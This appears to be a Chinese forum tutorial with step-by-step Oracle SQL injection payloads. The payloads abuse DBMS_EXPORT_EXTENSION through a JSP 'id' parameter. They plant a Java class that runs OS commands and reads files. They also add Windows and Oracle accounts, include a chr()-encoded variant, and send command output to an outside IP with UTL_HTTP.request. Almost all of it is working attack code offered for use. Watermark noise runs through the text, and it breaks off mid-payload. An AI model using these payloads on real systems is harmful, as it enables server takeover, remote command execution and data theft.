以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
P% \8 {) r# H2 i6 C0 J% d2 {. }. Q( @5 W; B5 k
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) 5 {! r: [. \* o1 ?
的形式即可。(用" 'a'|| "是为了让语句返回true值) - |* J( k, J! M
语句有点长,可能要用post提交。
: [" u( K: Z& J6 p$ ?1 ]$ ^以下是各个步骤: : i, g5 S0 F0 p) ~
1.创建包
8 O* `( m( d$ k, i# Z通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:! V" o& Z* C7 g n2 `
/xxx.jsp?id=1 and '1'<>'a'||(
/ ~( ^0 \" j w8 k* kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* s+ x2 g x) K3 Y7 \3 p5 B
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(9 W6 d5 | E" I3 k; e/ | ]8 ^
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}4 A( j# J$ Z" |. `2 ] B$ c
}'''';END;'';END;--','SYS',0,'1',0) from dual 4 J8 ?" i2 U9 p: ~' Z8 J
)
! }6 N/ r1 Y7 _: F T {; b------------------------
1 n3 v, y, }& n1 G. E如果url有长度限制,可以把readFile()函数块去掉,即:
P; {+ k/ ?- A! o/xxx.jsp?id=1 and '1'<>'a'||(
$ s, Q( V% \/ c& Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 Q: x9 S1 S7 N* \
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(3 I- @+ R+ a# S% H* ?- l
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}5 G2 T) d9 v; k9 ~; |8 i/ A$ S
}'''';END;'';END;--','SYS',0,'1',0) from dual
! h3 X7 S, J1 V6 y. K) ) | ~' h2 `( _! R
同时把后面步骤 提到的 对readFile()的处理语句去掉。
- L/ e8 `! K: n7 L, \------------------------------
0 f8 \7 `3 X* c/ B9 m2.赋Java权限 2 O2 N4 w8 n5 p2 R3 \' M7 T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual0 }7 y$ V: c8 p# i8 P" z, } Y
3.创建函数
0 H7 Z# ^6 V! D& y" u0 p: z) Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 W5 k& I! e- rcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
4 e( O% A4 W6 b2 nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 I3 H0 g& p+ E: L5 n3 dcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
/ J' t( g2 n3 P" ~, ]4.赋public执行函数的权限
0 Z+ x. T# T3 h9 Z2 vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
5 J; N3 O9 g2 w: oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual$ z1 Y( F# f; Q
5.测试上面的几步是否成功
8 r: O, Q9 `+ y4 e& ^( g X5 Cand '1'<>'11'||( 3 m, d' [- S. d6 O4 H
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 8 J" }6 ` z$ G5 p) V w: i! c
) 4 z7 t; v. H5 M
and '1'<>(
1 q5 R; Y. t9 Uselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
0 j& v' `1 R/ b' H2 o)
& R) l& B3 U3 `2 E0 w5 n1 ^6.执行命令:
' E* {& C& G! i6 \6 l; O/xxx.jsp?id=1 and '1'<>(
4 L2 _; q7 s/ H, Hselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
+ ]. c; T8 m% [) F. A3 z ]
1 [9 K( Z( P" w4 l)
; y0 ]$ c& c G/ G. n9 b9 A* o/ X/xxx.jsp?id=1 and '1'<>( 3 b7 O6 P* l ^' b/ P P
select sys.LinxReadFile('c:/boot.ini') from dual
' }2 N* G) n0 w7 b: n+ {5 v% j4 Q( m) g# j, _
): V( o" O3 {# q: p
& t. z. i D/ h3 O1 @2 v# `9 k5 X, m$ R
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
V+ s# f2 g3 @% W如果要查看运行结果可以用 union :
5 ^! x8 }: W- d* p+ _, q/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual5 J. T% ^- Q, Y; S b# p5 m
或者UTL_HTTP.request(: ) b+ V3 n$ G7 D0 u5 t, m# d4 [. R
/xxx.jsp?id=1 and '1'<>( 4 q" S& \& a9 s$ B8 g4 c. r
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
. ?8 d+ |8 s+ J# m: b' L+ x)
2 x! z, M( S0 r- X: M2 V/xxx.jsp?id=1 and '1'<>( : s) c. P7 F* P& V
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
' ]/ V1 {1 O2 l! y6 ~, z4 \) , \6 v1 R5 c+ G% `5 d0 F& z
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。% q7 ^0 L& y/ f' s: X
-------------------- % d6 a8 }* f9 [3 Y2 `$ c! h
6.内部变化 7 x3 y3 ?- x% ?& P: J$ G, `- k
通过以下命令可以查看all_objects表达改变: 2 L! _* l3 _* M- a1 l) c* `% _
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
: h- ?% e2 p+ l5 W8 l7.删除我们创建的函数 " \$ e2 G7 E! }6 A! }$ U6 A5 ^! e" z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 u3 n- ]+ q+ L+ U( v7 x4 a. {
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
* A; A. K/ F6 `& M& ]( U9 e8 b1 E====================================================
% R( `8 m* i( f8 a# f全文结束。谨以此文赠与我的朋友。
Q' y5 @' H+ q9 i5 ~linx
! p) r- t+ ?: T124829445
0 f+ I* j/ F J N% K2008.1.12 ' o. i5 b5 j) }, y" I
linyujian@bjfu.edu.cn
. ^3 S- m- h6 i0 K======================================================================
5 b) E7 H1 [# ^5 Q/ j* S4 O测试漏洞的另一方法:
/ o( q3 p% W7 x6 u& \创建oracle帐号: " [* e' O& m# l7 f0 q% o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, T& W7 ]6 I! l# U8 ]CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
# A. F2 |+ u4 Z F3 h% o1 G# e即: * z; ^$ `9 k$ I% B U* g c4 k* n
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),- y2 A; R; p T1 W+ a% m, c8 [* A
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 3 y/ S& a7 {% L3 M
确定漏洞存在: ) ~6 z! [5 n6 t
1<>(
# h! v" z8 ~" s V$ K9 E( U8 cselect user_id from all_users where username='LINXSQL'
# T" R3 h( y1 g7 v+ r! u% b; N)
" f& h$ `& `2 ]给linxsql连接权限:
" Z4 z& S, e+ ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' ^2 _; b4 o: c/ n j% D8 l
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual , J t: O$ M+ `& C7 J1 w8 P K+ B
删除帐号: ' {( J* t$ H4 e: b# U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': r$ L# b+ m% o$ M$ J
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
; _5 r" U5 [" z# n5 S7 U$ V( j====================== 6 v$ \' g) w o# g( l) i
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
3 ?7 @& [2 l8 L* A6 a5 \1.jsp?id=1 and '1'<>(
% n; ^, d# |9 {( U% ^6 iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 d$ l2 A2 S2 l! u k6 C
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
6 f5 k+ l |" U" ?4 C; m( V) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE8 G, ?& j1 i2 H I+ L% ?
)' I. z6 e6 V+ w. |
0 }# y! |# Y4 O
1 p0 e+ p0 U: ]- }9 m6 |8 q; D$ {" L" g/ V) u% N
|